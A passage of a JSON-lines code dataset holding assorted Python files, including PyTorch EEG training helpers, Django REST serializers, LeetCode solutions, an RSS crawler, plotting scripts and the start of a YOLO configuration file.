outstr.append(\"Sample SD: %.3f\" % self.stdev())\n outstr.append(\"Minimum: %s\\n1Q: %s\\n2Q: %s\\n3Q: %s\\nMaximum: %s\" % self.quartiles())\n outstr.append(\"Sequence Range: %s..%s\" % self.range())\n return \"\\n\".join(outstr)\n\n\n","sub_path":"bin/last_wrapper/Bio/Graphics/GenomeDiagram/_Graph.py","file_name":"_Graph.py","file_ext":"py","file_size_in_byte":9573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"562799954","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 14 13:27:33 2020\n\n@author: Jin Dou\n\"\"\"\nimport numpy as np\nfrom ..outsideLibInterfaces import CIfSklearn\n\nclass CPytorch:\n \n def __init__(self):\n self.Lib = self._ImportTorch()\n \n def _ImportTorch(self):\n import torch as root\n return root\n \n def _getNNAttr(self,name:str):\n import torch.nn as NN\n ans = getattr(NN,name)\n return ans\n \n def buildDataLoader(self,*tensors,TorchDataSetType,oSamplerType=None,**Args):\n lib_torch = self.Lib\n if(Args.get('DatasetArgs') != None):\n DataSetArgs = Args['DatasetArgs']\n dataset = TorchDataSetType(*tensors,**DataSetArgs)\n else:\n dataset = TorchDataSetType(*tensors)\n \n if(Args.get('DataLoaderArgs') != None):\n DataLoaderArgs = Args['DataLoaderArgs']\n if(oSamplerType == None or Args.get('SamplerArgs') == None):\n dataLoader = lib_torch.utils.data.DataLoader(dataset,**DataLoaderArgs)\n else:\n SamplerArgs = Args.get('SamplerArgs')\n # print(SamplerArgs)\n # return\n oSampler = oSamplerType(dataset,**SamplerArgs)\n dataLoader = lib_torch.utils.data.DataLoader(dataset,sampler=oSampler,**DataLoaderArgs)\n else:\n dataLoader = lib_torch.utils.data.DataLoader(dataset)\n \n return dataLoader\n \n def fitClassificationModel(self,model,dataLoader,testDataLoader,\n numEpochs:int,lr:float,weight_decay:float,oLossFunc = None):\n criterion = None\n if(oLossFunc == None):\n criterion = self.Lib.nn.CrossEntropyLoss()\n else:\n criterion = oLossFunc\n optimizier = self.Lib.optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay)\n model.cuda()\n step_list = list()\n loss_list = list()\n metrics = list()\n for epoch in range(numEpochs):\n accuList = list()\n model.train()\n loss = None\n for idx,data in enumerate(dataLoader):\n eeg,trainLabel = data\n# eeg.cuda()\n trainLabel.cuda()\n# eeg = self.Lib.autograd.Variable(eeg.cuda())\n # forward\n output = model(eeg)\n loss = criterion(output, trainLabel)\n # backward\n optimizier.zero_grad()\n loss.backward()\n optimizier.step()\n train_ep_pred = model(eeg)\n train_accuracy = self.get_accuracy(train_ep_pred, trainLabel)\n accuList.append(train_accuracy)\n if(idx % 10 == 0):\n print(\"data: {}, train loss is {}, train accu is {} \\n\".format((idx), loss.data,np.mean(accuList)))\n self.Lib.cuda.empty_cache() \n for param_group in optimizier.param_groups:\n print(param_group['lr'])\n test_loss_list = list()\n accuListTest = list()\n for data in testDataLoader:\n eeg1,testLabel = data\n eeg1.cuda()\n testLabel.cuda()\n # forward\n output1 = model(eeg1)\n loss1 = criterion(output1, testLabel)\n test_loss_list.append(loss1.cpu().data.numpy())\n test_accuracy = self.get_accuracy(output1, testLabel)\n accuListTest.append(test_accuracy)\n \n print(\"epoch: {}, loss is {}, test loss is {}, test accu is {}\\n\".format((epoch+1), loss.data,np.mean(test_loss_list),np.mean(accuListTest)))\n # print(test_loss_list)\n if epoch in [numEpochs * 0.125, numEpochs * 0.5, numEpochs * 0.75]:\n for param_group in optimizier.param_groups:\n param_group['lr'] *= 0.1\n # ·\n# model.eval()\n# train_data_x,train_data_y = dataLoader.dataset.tensors\n# test_data_x,test_data_y = testDataLoader.dataset.tensors\n# train_ep_pred = model(train_data_x)\n# test_ep_pred = model(test_data_x)\n# \n# train_accuracy = self.get_accuracy(train_ep_pred, train_data_y)\n# test_accuracy = self.get_accuracy(test_ep_pred, test_data_y)\n# print(\"train acc: {}\\t test acc: {}\\t at epoch: {}\\n\".format(train_accuracy,\n# test_accuracy,\n# epoch))\n# step_list.append(epoch)\n# loss_list.append(loss.cpu().data.numpy())\n# \n# metrics.append([train_accuracy,test_accuracy])\n \n return metrics\n \n def trainClassificationModel(self,model,dataLoader,testDataLoader,numEpochs:int,\n lr:float,weight_decay:float,oLossFunc = None):\n criterion = None\n if(oLossFunc == None):\n criterion = self.Lib.nn.CrossEntropyLoss().cuda()\n else:\n criterion = oLossFunc\n optimizier = self.Lib.optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay)\n model = model.cuda()\n step_list = list()\n loss_list = list()\n metrics = list()\n for epoch in range(numEpochs):\n accuList = list()\n model.train()\n loss = None\n for idx,data in enumerate(dataLoader):\n# print(idx)\n eeg,trainLabel = data\n# print(eeg,trainLabel)\n# shapeList = list()\n# for i in range(2,len(eeg.shape)):\n# shapeList.append(i)\n# eeg = eeg.permute(1,0,*shapeList)\n# eeg.cuda()\n# trainLabel.cuda()\n# eeg = self.Lib.autograd.Variable(eeg.cuda())\n # forward\n output = model(eeg)\n# print(output.shape,trainLabel.shape)\n loss = criterion(output, trainLabel)\n # backward\n optimizier.zero_grad()\n loss.backward()\n optimizier.step()\n# train_ep_pred = model(eeg)\n \n if(idx % 100 == 0):\n train_accuracy = self.get_onehot_accuracy(output, trainLabel)\n accuList.append(train_accuracy)\n print(\"data: {}, train loss is {}, train accu is {} \\n\".format((idx), loss.data,train_accuracy))\n \n self.Lib.cuda.empty_cache()\n model.eval()\n for param_group in optimizier.param_groups:\n print(param_group['lr'])\n # print(test_loss_list)\n test_loss_list = list()\n accuListTest = list()\n loss1 = ''\n for data in testDataLoader:\n eeg1,testLabel = data\n# eeg1.cuda()\n# testLabel.cuda()\n # forward\n output1 = model(eeg1)\n loss1 = criterion(output1, testLabel)\n test_loss_list.append(loss1.cpu().data.numpy())\n test_accuracy = self.get_onehot_accuracy(output1, testLabel)\n accuListTest.append(test_accuracy)\n \n print(\"epoch: {}, loss is {}, test loss is {}, test accu is {}\\n\".format((epoch+1), loss1.data,np.mean(test_loss_list),np.mean(accuListTest)))\n \n if epoch in [numEpochs * 0.125, numEpochs * 0.5, numEpochs * 0.75]:\n for param_group in optimizier.param_groups:\n param_group['lr'] *= 0.1\n \n \n \n metrics.append([loss.cpu().detach().numpy(),loss1.cpu().detach().numpy(),np.mean(accuList),np.mean(accuListTest)])\n self.Lib.cuda.empty_cache()\n return metrics\n \n \n def get_accuracy(self,output, targets):\n \"\"\"calculates accuracy from model output and targets\n \"\"\"\n output = output.detach()\n predicted = output.argmax(-1)\n correct = (predicted == targets).sum().item()\n accuracy = correct / output.size(0) * 100\n \n return accuracy\n \n def get_onehot_accuracy(self,output,targets):\n output = output.ge(0.5).float()\n correct = (output == targets).float().sum()\n accuracy = correct / (len(output) * output.shape[1])\n# print(output,targets)\n accuracy = accuracy.cpu().numpy()\n return accuracy\n\nclass CTorchClassify(CPytorch):\n \n def __init__(self):\n super().__init__()\n self.oIfSklearn = CIfSklearn()\n \n def modelPredict(self,model,dataLoader):\n model.eval()\n model = model.cuda()\n result = list()\n for idx,data in enumerate(dataLoader):\n eeg = data[0]\n output = model(eeg)\n print(idx * dataLoader.batch_size,'/',len(dataLoader.dataset))\n result.append(output.cpu().detach().numpy())\n \n self.Lib.cuda.empty_cache()\n\n return np.concatenate(result)\n \n def rocAucScore(self,*args, **kwargs):\n return self.oIfSklearn.metricsLib.roc_auc_score(*args,**kwargs)\n \n def modelTranEval(self,model,dataLoaderTrain,dataLoaderTest,numEpochs:int,\n lr:float,weight_decay:float,oLossFunc = None):\n criterion = None\n if(oLossFunc == None):\n criterion = self.Lib.nn.CrossEntropyLoss().cuda()\n else:\n criterion = oLossFunc\n optimizier = self.Lib.optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay)\n model = model.cuda()\n metrics = list()\n for epoch in range(numEpochs):\n print(\"epoch:{}\".format(epoch+1))\n accuList = list()\n model.train()\n loss = None\n outputCache = list()\n labelCache = list()\n for idx,data in enumerate(dataLoaderTrain):\n eeg,trainLabel = data\n # forward\n output = model(eeg)\n loss = criterion(output, trainLabel)\n # backward\n optimizier.zero_grad()\n loss.backward()\n optimizier.step()\n \n if(idx % 100 == 0 and idx != 0):\n train_accuracy = self.rocAucScore(np.concatenate(labelCache), np.concatenate(outputCache))\n accuList.append(train_accuracy)\n print(\"data: {}/{}, train loss is {}, train RocAucScore is {} \\n\".format((idx*dataLoaderTrain.batch_size),len(dataLoaderTrain.dataset), loss.data,train_accuracy))\n outputCache.clear()\n labelCache.clear()\n else:\n outputCache.append(output.cpu().detach().numpy())\n labelCache.append(trainLabel.cpu().detach().numpy())\n \n self.Lib.cuda.empty_cache()\n model.eval()\n for param_group in optimizier.param_groups:\n print(\"lr\",param_group['lr'])\n # print(test_loss_list)\n test_loss_list = list()\n loss1 = ''\n cache1 = list()\n cache2 = list()\n for data in dataLoaderTest:\n eeg1,testLabel = data\n# eeg1.cuda()\n# testLabel.cuda()\n # forward\n output1 = model(eeg1)\n loss1 = criterion(output1, testLabel)\n test_loss_list.append(loss1.cpu().data.numpy())\n cache1.append(testLabel.cpu().detach().numpy())\n cache2.append(output1.cpu().detach().numpy())\n print(np.concatenate(cache2).shape) \n test_accuracy = self.rocAucScore( np.concatenate(cache1),np.concatenate(cache2))\n print(\" test loss is {}, test RocAucScore is {}\\n\".format(np.mean(test_loss_list),test_accuracy))\n \n if epoch in [numEpochs * 0.125, numEpochs * 0.5, numEpochs * 0.75]:\n for param_group in optimizier.param_groups:\n param_group['lr'] *= 0.1\n \n metrics.append([loss.cpu().detach().numpy(),loss1.cpu().detach().numpy(),np.mean(accuList),test_accuracy])\n self.Lib.cuda.empty_cache()\n return metrics\n \nclass CTorchNNYaml(CPytorch):\n \n def __init__(self):\n super().__init__()\n \n def _readYaml(self,filePath):\n import yaml\n ans = None\n with open(filePath,'r') as stream:\n try:\n ans = yaml.safe_load(stream)\n except yaml.YAMLError as exc:\n print(exc)\n return ans\n \n def _ParseType(self,conf:dict):\n if(conf['Type'] == 'Sequential'):\n return self.buildSequential(conf)\n \n def _subListToTuple(self,oInput):\n if type(oInput) == dict:\n for key in oInput:\n if(type(oInput[key]) == list):\n oInput[key] = tuple(oInput[key])\n \n elif type(oInput) == list:\n for idx,attr in enumerate(oInput):\n if type(attr) == list:\n oInput[idx] = tuple(attr)\n \n else:\n raise ValueError(\"_subListToTuple: input should be dict or list\")\n \n \n def buildSequential(self,conf:dict):\n oSeq = self.Lib.nn.Sequential()\n ModelConfList = conf['Model']\n for idx,ModelConf in enumerate(ModelConfList):\n CModule = self._getNNAttr(ModelConf[0])\n attr = ModelConf[1]\n oModule = None\n name = str(idx)\n \n if(len(ModelConf) > 2 and type(ModelConf[2]) == dict):\n '''if contain aux attribute'''\n auxAttr = ModelConf[2]\n if (auxAttr.get('name')!=None):\n ''' if aux attribute contain name attribute'''\n name = auxAttr['name']\n if(type(attr) == list):\n if len(attr) == 0:\n oModule = CModule()\n elif(type(attr[0]) == list and type(attr[1]) == dict):\n self._subListToTuple(attr[0])\n self._subListToTuple(attr[1])\n oModule = CModule(*attr[0],**attr[1])\n elif(any(type(x) not in [int,float,str,bool,list] for x in attr)):\n raise ValueError('attribute of Module %s (index %d) is invalid' % (ModelConf[0],idx))\n else:\n self._subListToTuple(attr)\n oModule = CModule(*attr)\n elif(type(attr) == dict):\n self._subListToTuple(attr)\n oModule = CModule(**attr)\n else:\n raise ValueError('attribute of Module %s (index %d) is invalid' % (ModelConf[0],idx))\n oSeq.add_module(name,oModule)\n return oSeq\n \n def __call__(self,confFile:str):\n yamlDict = self._readYaml(confFile)\n return self._ParseType(yamlDict)\n \n \n \n ","sub_path":"StellarBrainwav/DataProcessing/DeepLearning.py","file_name":"DeepLearning.py","file_ext":"py","file_size_in_byte":15233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"51241718","text":"from rest_framework import serializers\nfrom .models import *\nimport re\nfrom datetime import datetime\nfrom django.conf import settings\n\nclass MemberSerializer(serializers.ModelSerializer):\n team = serializers.StringRelatedField()\n\n class Meta:\n model = Member\n fields = ('pk', 'name', 'email', 'experience', 'team')\n\n def validate_email(self, data):\n pattern = r\"[bcemdh]\\d{7}[a-z0-9]{2}@edu.teu.ac.jp\" \n if not re.match(pattern, data):\n raise serializers.ValidationError(\"invalid email. use xxxxx@edu.teu.ac.jp\")\n \n return data\n\n\nclass TeamSerializer(serializers.ModelSerializer):\n leader = MemberSerializer()\n members = MemberSerializer(many=True, required=False)\n\n created_by = serializers.ReadOnlyField(source='created_by.name')\n \n class Meta:\n model = Team\n fields = ('pk', 'name', 'created_by', 'event', 'leader', 'members')\n\n def create(self, validated_data):\n leader_data = validated_data.pop('leader')\n members_data = validated_data.pop('members')\n\n leader = Member.objects.create(**leader_data)\n\n now = datetime.now()\n\n team = Team.objects.create(leader=leader, is_registered=True, **validated_data)\n \n leader.team = team\n leader.save()\n\n for member_data in members_data:\n Member.objects.create(team=team, **member_data)\n\n team.save()\n return team\n \n def update(self, instance, validated_data):\n instance.name = validated_data.get('name', instance.name)\n instance.event = validated_data.get('event', instance.event)\n instance.save()\n\n leader_data = validated_data.get('leader', None)\n\n instance.leader.name = leader_data.get('name', instance.leader.name)\n instance.leader.email = leader_data.get('email', instance.leader.email)\n instance.leader.experience = leader_data.get('experience', instance.leader.experience)\n instance.leader.save()\n\n if 'members' in validated_data:\n for member_data in validated_data.pop('members'):\n Member.objects.create(team=instance, **member_data)\n\n \n return instance\n\n def validate(self, data):\n if 'members' in data:\n members_data = data['members']\n\n for member_data in members_data:\n member_serializer = MemberSerializer(data=member_data)\n if not member_serializer.is_valid():\n raise serializers.ValidationError(\"invalid members data\")\n \n return data","sub_path":"backend/sportsfes/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"464971529","text":"# 49. Group Anagrams\n# Given an array of strings, group anagrams together.\n\n# Example:\n\n# Input: [\"eat\", \"tea\", \"tan\", \"ate\", \"nat\", \"bat\"],\n# Output:\n# [\n# [\"ate\",\"eat\",\"tea\"],\n# [\"nat\",\"tan\"],\n# [\"bat\"]\n# ]\n# Note:\n\n# All inputs will be in lowercase.\n# The order of your output does not matter.\n\nfrom collections import defaultdict\n\n# Two strings are an anagram if and only if their storted strongs\n# are equal\n# create a hashmap\n# loop through strings and sorted the value\n# add a tuple of the sorted value of the string to the map\n# append to the list value the original string\n# return the values list of the map\n\n# Time O (NK log K) N is length of str k is max lengh of str\n# space O(NK)\n\n\ndef groupAnagrams(strs):\n map = defaultdict(list)\n for s in strs:\n map[tuple(sorted(s))].append(s)\n return map.values()\n\n\ndef isAnagram(s1, s2):\n\n map = {}\n for c in s1:\n if c in map:\n map[c] += 1\n else:\n map[c] = 1\n\n for c in s2:\n if c not in map:\n return False\n\n return True\n\n\nprint(groupAnagrams([\"eat\", \"tea\", \"tan\", \"ate\", \"nat\", \"bat\"]))\n\n# [\n# [\"ate\",\"eat\",\"tea\"],\n# [\"nat\",\"tan\"],\n# [\"bat\"]\n# ]\n","sub_path":"Hashmaps/GroupAnagrams.py","file_name":"GroupAnagrams.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"261830652","text":"class MedianFinder:\n\n def __init__(self):\n \"\"\"\n initialize your data structure here.\n \"\"\"\n self.heap = []\n \n def _binary_search(self, num: int, lower: int, upper: int) -> int:\n \"\"\"\n num: the number you want to insert into the array\n lower: lower bound of current recursion (inclusive)\n upper: upper bound of current recursion (exclusive)\n return value: the index of the proper place for your insertion\n \"\"\"\n if len(self.heap[lower: upper]) <= 1:\n if num <= self.heap[lower]:\n return lower\n else:\n return lower + 1\n\n mid = (lower + upper) // 2\n\n if num == self.heap[mid]:\n return mid\n elif num < self.heap[mid]:\n return self._binary_search(num, lower, mid)\n else:\n return self._binary_search(num, mid, upper)\n\n def addNum(self, num: int) -> None:\n if self.heap == []:\n self.heap.append(num)\n elif len(self.heap) == 1:\n if num <= self.heap[0]:\n self.heap.insert(0, num)\n else:\n self.heap.insert(1, num)\n else:\n ind = self._binary_search(num, 0, len(self.heap))\n self.heap.insert(ind, num)\n\n def findMedian(self) -> float:\n if len(self.heap) % 2 == 1:\n return self.heap[len(self.heap) // 2]\n else:\n return float(self.heap[len(self.heap) // 2 - 1] + self.heap[len(self.heap) // 2]) / 2\n\n\nif __name__ == \"__main__\":\n solu = MedianFinder()\n\n solu.addNum(1)\n solu.addNum(2)\n solu.addNum(3)\n\n print(solu.heap)","sub_path":"codes/MartinMa28/python3/0295_find_median_from_data_stream.py","file_name":"0295_find_median_from_data_stream.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"19195663","text":"#!/usr/bin/python3\n# written by: atholcomb\n# Score.py\n# Increases pay by 3% if score is greater than 90\n\n\nscore = eval(input(\"Enter your score: \"))\n\npay = 1\n\nif score > 90:\n pay = pay * 0.03\n print(score, \"is greater than 90, therefore pay increased by\", format(pay, \".2%\"))\nelse:\n pay = pay * 0.01\n print(score, \"is less than 91, therefore pay increased by\", format(pay, \".2%\"))\n","sub_path":"sec4/ch4code/ScoreB.py","file_name":"ScoreB.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"489044037","text":"# -*- coding: utf-8 -*-\n\n# Copyright (C) 2009, 2010 Ulteo SAS\n# http://www.ulteo.com\n# Author Laurent CLOUET 2010\n# Author Gauvain POCENTEK 2009\n# Author Julien LANGLOIS 2009, 2010\n#\n# This program is free software; you can redistribute it and/or \n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; version 2\n# of the License\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\nimport os\n\nfrom Module import Module\n\nclass Monitoring(Module):\n\tdef beforeStartApp(self):\n\t\tpath = os.path.join(os.environ['OVD_SESSION_DIR'], \"instances\", \"%d\"%(os.getpid()))\n\t\t\n\t\tf = file(path, 'w')\n\t\tf.write(\"%d\"%(self.application.id))\n\t\tf.close()\n\t\n\t\n\tdef afterStartApp(self):\n\t\tpath = os.path.join(os.environ['OVD_SESSION_DIR'], \"instances\", \"%d\"%(os.getpid()))\n\t\tif os.path.exists(path):\n\t\t\tos.remove(path)\n","sub_path":"ApplicationServer/OvdShells/ovd_shells/Monitoring.py","file_name":"Monitoring.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"570067703","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n''' Parse RSS index title and href, then write to crawler.json\n\n *Important:\n Because of when sending requst, our URL must be \"ascii\", but\n sometimes URL will comtain unicode words, so we use regex to get\n string after \"http://\", then convert it by urllib.parse.quote()\n to get ascii string.\n\n Finally, combine it( http:// + convert_part), so\n we can't avoid the warning in /LIB/python3.3/http/client.py\n'''\n\nimport os\n\nHOME = os.environ['HOME']\nos.chdir(HOME+\"/project/pyHan\")\n\nfrom Header.header import *\n\n\n\nwith open(HOME+\"/project/pyHan/models/init_var.json\", 'r') as json_file:\n rss_dir = json.load(json_file)['rss_dir']\n\nos.chdir(rss_dir)\n\nfname = \"crawler.json\"\n\n\nclass ParseIndexPage():\n\n def __init__(self):\n self.info = {} # crawler info\n self.index = \"\"\n self.channels = list()\n self.article = list()\n\n def read_info(self):\n with open(fname, 'r') as json_file:\n self.info = json.load(json_file)\n self.index = self.info['yahoo']['index']\n\n def init_soup(self):\n raw = requests.get(self.index).content.decode()\n return BeautifulSoup(raw, 'html.parser')\n\n def quote_href(self, link):\n # Rule to grep news category\n match = re.search('http:\\/\\/(\\S+)', link)\n link = 'http://' + urllib.parse.quote(match.group(1))\n return link\n\n def find_rss_channels(self):\n soup = self.init_soup()\n if soup is None:\n print('Connection Error! Cannot fetch web page content')\n\n pre_soup = soup.findAll('a', {'class': 'icon-rss-small'})\n chs_hrefs = [tag['href'] for tag in pre_soup[1:]] # ignore first tag which do not contain any href\n # Channels with quoting if needed\n #qchs = [qhref for qhref in map(self.quote_href, chs)]\n self.article = [feedparser.parse(link).channel.title for link in chs_hrefs \\\n if 'title' in feedparser.parse(link).channel.keys()] \n self.channels = chs_hrefs\n\n def __str__(self):\n links = \"channels = { \"\n for i in range(len(self.channels)):\n links += \"\\n\" + \" \" * 4 + \"u'{0}':'{1}',\\n\" \\\n .format(self.article[i], self.channels[i])\n return links + \"\\n}\\n\\n\"\n\n def write_json(self, fName):\n chs = dict(zip(self.article, self.channels))\n value = self.info['yahoo']\n value.update({'channels' : chs})\n self.info['yahoo'] = value\n with open(fname, 'w', encoding='utf-8') as json_file:\n json.dump(self.info, json_file, ensure_ascii=False, indent=4, sort_keys=True)\n# End of class\n\n\nif __name__ == \"__main__\":\n pip = ParseIndexPage()\n pip.read_info()\n pip.find_rss_channels()\n os.chdir(rss_dir)\n pip.write_json(\"crawler.json\")\n\n# End of pyIndex.py\n","sub_path":"models/RSS/yahoo/pyIndex.py","file_name":"pyIndex.py","file_ext":"py","file_size_in_byte":2857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"173622698","text":"import json\n\nfrom flask import Flask\nimport md.image3d.python.image3d_io as cio\nfrom md.viewer4.args import RefreshType\nfrom md.viewer4.BE.entity import CellEntity, ImageEntity\n\napp = Flask(__name__)\nimageentity = ImageEntity(0, True)\n\n\n@app.route('/')\ndef locate():\n imageentity.locate(0, (100, 100))\n imageentity.updater().update(RefreshType.All)\n result = imageentity.updater().get_result()\n return json.dumps(result)\n\n\nif __name__ == '__main__':\n vol = cio.read_image(r'../../FE/data/05-02-1995.nii')\n imageentity.set_volume(vol)\n imageentity.add_child_entity(CellEntity(0, False))\n imageentity.add_child_entity(CellEntity(1, False))\n imageentity.add_child_entity(CellEntity(2, False))\n imageentity.init_default_scenes(vol)\n app.run()\n","sub_path":"viewer4/BE/demo/web_server_demo.py","file_name":"web_server_demo.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"289469234","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 22 16:08:11 2019\n\n@author: embog\n\"\"\"\n\nimport matplotlib.pyplot as plt\n\nfrom pylab import genfromtxt\n\nimport seaborn as sns\n\nfrom pylab import rcParams\nplt.rc('text', usetex=True)\nplt.rc('font', family='serif')\nplt.rc('font', serif='Palatino')\n\ngolden_ration = (1 + 5 ** 0.5)/2\none_column_figure_size = 1.7\nrcParams['figure.figsize'] = (2*one_column_figure_size * golden_ration, 2*one_column_figure_size)\n#rcParams['axes.linewidth'] = 0.25\n#rcParams['xtick.major.width'] = 0.25\n#rcParams['ytick.major.width'] = 0.25\n\n#sns.set()\n#sns.set_context('talk')\n#sns.set_context(\"notebook\", font_scale=1.1, rc={\"lines.linewidth\": 1.5})\n\n# Sources: http://www.randalolson.com/2014/06/28/how-to-make\n# -beautiful-data-visualizations-in-python-with-matplotlib/\n# These are the \"Tableau 20\" colors as RGB. \ntableau20=[(31, 119, 180), (174, 199, 232), (255, 127, 14), (255, 187, 120), \n (44, 160, 44), (152, 223, 138), (214, 39, 40), (255, 152, 150), \n (148, 103, 189), (197, 176, 213), (140, 86, 75), (196, 156, 148), \n (227, 119, 194), (247, 182, 210), (127, 127, 127), (199, 199, 199), \n (188, 189, 34), (219, 219, 141), (23, 190, 207), (158, 218, 229)]\n# Scale the RGB values to the [0, 1] range, which is the format matplotlib\n# accepts. \nfor i in range(len(tableau20)): \n r, g, b = tableau20[i] \n tableau20[i] = (r / 255., g / 255., b / 255.) \n\nplot_data, labels, colors = [], [], []\n\n'''\nplot_data.append(genfromtxt(\"sync_norm_sigmaVSr_ER_N=1000_p=0.006.txt\", skip_header=3))\nlabels.append(r'ER $p$=0.006 $N$=1000')\ncolors.append(tableau20[2])\n\nplot_data.append(genfromtxt(\"sync_sigmaVSr_SF_N=1000_gamma=2.27838.txt\", skip_header=3))\nlabels.append(r'SF $\\gamma$=2.27838 $N$=1000')\ncolors.append(tableau20[4])\nplot_data.append(genfromtxt(\"sync_sigmaVSr_SF_N=1000_gamma=1.69285.txt\", skip_header=3))\nlabels.append(r'SF $\\gamma$=1.69285 $N$=1000')\ncolors.append(tableau20[6])\n'''\n'''\nfilename = \"sync_sigmaVSr_file_N=1000_BA_3.txt\"\nplot_data.append(genfromtxt(filename, skip_header=3))\nlabels.append(filename)\ncolors.append(tableau20[2])\nfilename = \"sync_sigmaVSr_file_N=1000_ER_0.006.txt\"\nplot_data.append(genfromtxt(filename, skip_header=3))\nlabels.append(filename)\ncolors.append(tableau20[0])\n'''\n\nfilename = \"ES_sigmaVSr_file_N=1000_BA_3.txt\"\nplot_data.append(genfromtxt(filename, skip_header=3))\nlabels.append('BA')\ncolors.append(tableau20[0])\n\nfig = plt.figure()\n\nnr_plots = len(plot_data)\ntot_half = int(len(plot_data[0][:,0])/2)\nfor i in range(0,1):\n plt.plot(plot_data[i][tot_half:,0], plot_data[i][tot_half:,1],# plot_data[i][:,2]/np.sqrt(1000),\n label = labels[i], color = 'r', linewidth=2.0\n )\n plt.plot(plot_data[i][:tot_half,0], plot_data[i][:tot_half,1],# plot_data[i][:,2]/np.sqrt(1000),\n label = labels[i], color = colors[i], linewidth=2.0\n )\n\n\n\n#plt.legend(loc=\"lower right\").set_draggable(True)\n\n#plt.legend(loc='center left', bbox_to_anchor=(1, 0.5))\n\n# Formating:\n#plt.xlim(0,2)\n#plt.ylim(0,1.1)\n\n#plt.xlabel(r'Edge density ($t$)')\n#plt.ylabel(r'$C_{max}/N$')\n\nplt.xlabel(r'Acoplo $\\sigma$')\nplt.ylabel(r'$r$')\nplt.title(r'Sincronización explosiva con histéresis')\n\nplt.gcf().subplots_adjust(bottom=0.15)\nplt.savefig(\"sync_expl.pdf\")\n#plt.show()","sub_path":"validation_ES/draw_expl.py","file_name":"draw_expl.py","file_ext":"py","file_size_in_byte":3356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"111225036","text":"# Copyright (c) 2021 Graphcore Ltd. All rights reserved.\nfrom os import terminal_size\nfrom yacs.config import CfgNode as CN\nfrom ruamel import yaml\nfrom utils.parse_args import opt_to_cfg_map\n\nconfig = CN()\n\n\nconfig.system = CN()\n# Number of IPUs to use in the experiment\nconfig.system.num_ipus = 1\n# Number of workers for the dataloader\nconfig.system.num_workers = 20\n\n\nconfig.model = CN()\n# Channels of the input images to the model\nconfig.model.input_channels = 3\n# Activation used in the model\nconfig.model.activation = \"relu\"\n# Normalization function used in the model\nconfig.model.normalization = \"group\"\n\n# Anchor boxes\nconfig.model.anchors = CN()\nconfig.model.anchors.p3width = [13, 31, 24, 61]\nconfig.model.anchors.p3height = [17, 25, 51, 45]\nconfig.model.anchors.p4width = [48, 119, 97, 217]\nconfig.model.anchors.p4height = [102, 96, 189, 184]\nconfig.model.anchors.p5width = [171, 324, 616, 800]\nconfig.model.anchors.p5height = [384, 451, 618, 800]\n\n# Number of classes of the model\nconfig.model.n_classes = 80\n# Class name path\nconfig.model.class_name_path = \"configs/class_name.yaml\"\n# Image size of the input images to the model\nconfig.model.image_size = 896\n# Strides of the prediction layers of the model\nconfig.model.strides = [8, 16, 32]\n# Float precision used in the model\nconfig.model.precision = \"half\"\n# The number of samples calculated in one full forward/backward pass\nconfig.model.micro_batch_size = 1\n# Mode to run the model\nconfig.model.mode = \"test\"\n# Run model on cpu or ipu\nconfig.model.ipu = True\n# Compute optimal anchors\nconfig.model.auto_anchors = False\n# Anchors threshold to compare against when chooseing the best anchors\nconfig.model.anchor_threshold = 4.0\n# Send the data using uint instead of floats to the IPU\nconfig.model.uint_io = True\n# Pipeline splits\nconfig.model.pipeline_splits = []\n# Recomputation checkpoints\nconfig.model.recomputation_ckpts = []\n# Use sharded execution\nconfig.model.sharded = False\n\n\nconfig.ipuopts = CN()\nconfig.ipuopts.device_iterations = 1\nconfig.ipuopts.gradient_accumulation = 1\nconfig.ipuopts.available_memory_proportion = None\n\n\nconfig.inference = CN()\n# Whether to perform NMS or not\nconfig.inference.nms = True\n# Minimum threshold for objectness probability\nconfig.inference.obj_threshold = 0.4\n# Minimum threshold for class prediction probability\nconfig.inference.class_conf_threshold = 0.6\n# Minimum threshold for IoU used in NMS\nconfig.inference.iou_threshold = 0.65\n# Maximum number of detections after NMS\nconfig.inference.nms_max_detections = 300\n# Maximum number of detections filtered before NMS\nconfig.inference.pre_nms_topk_k = 2000\n# Plot output and save to file\nconfig.inference.plot_output = False\n# Plot every n image\nconfig.inference.plot_step = 250\n# Directory for storing the plot output\nconfig.inference.plot_dir = \"plots\"\n# Minimum confidence threshold for plotting a bounding box in the final plot\nconfig.inference.plot_threshold = 0.3\n\n\nconfig.training = CN()\n# Initial learning rate\nconfig.training.initial_lr = 0.01\n# Momentum used in SGD or Adam\nconfig.training.momentum = 0.937\n# Optimizer weight decay\nconfig.training.weight_decay = 0.0005\n# SGD 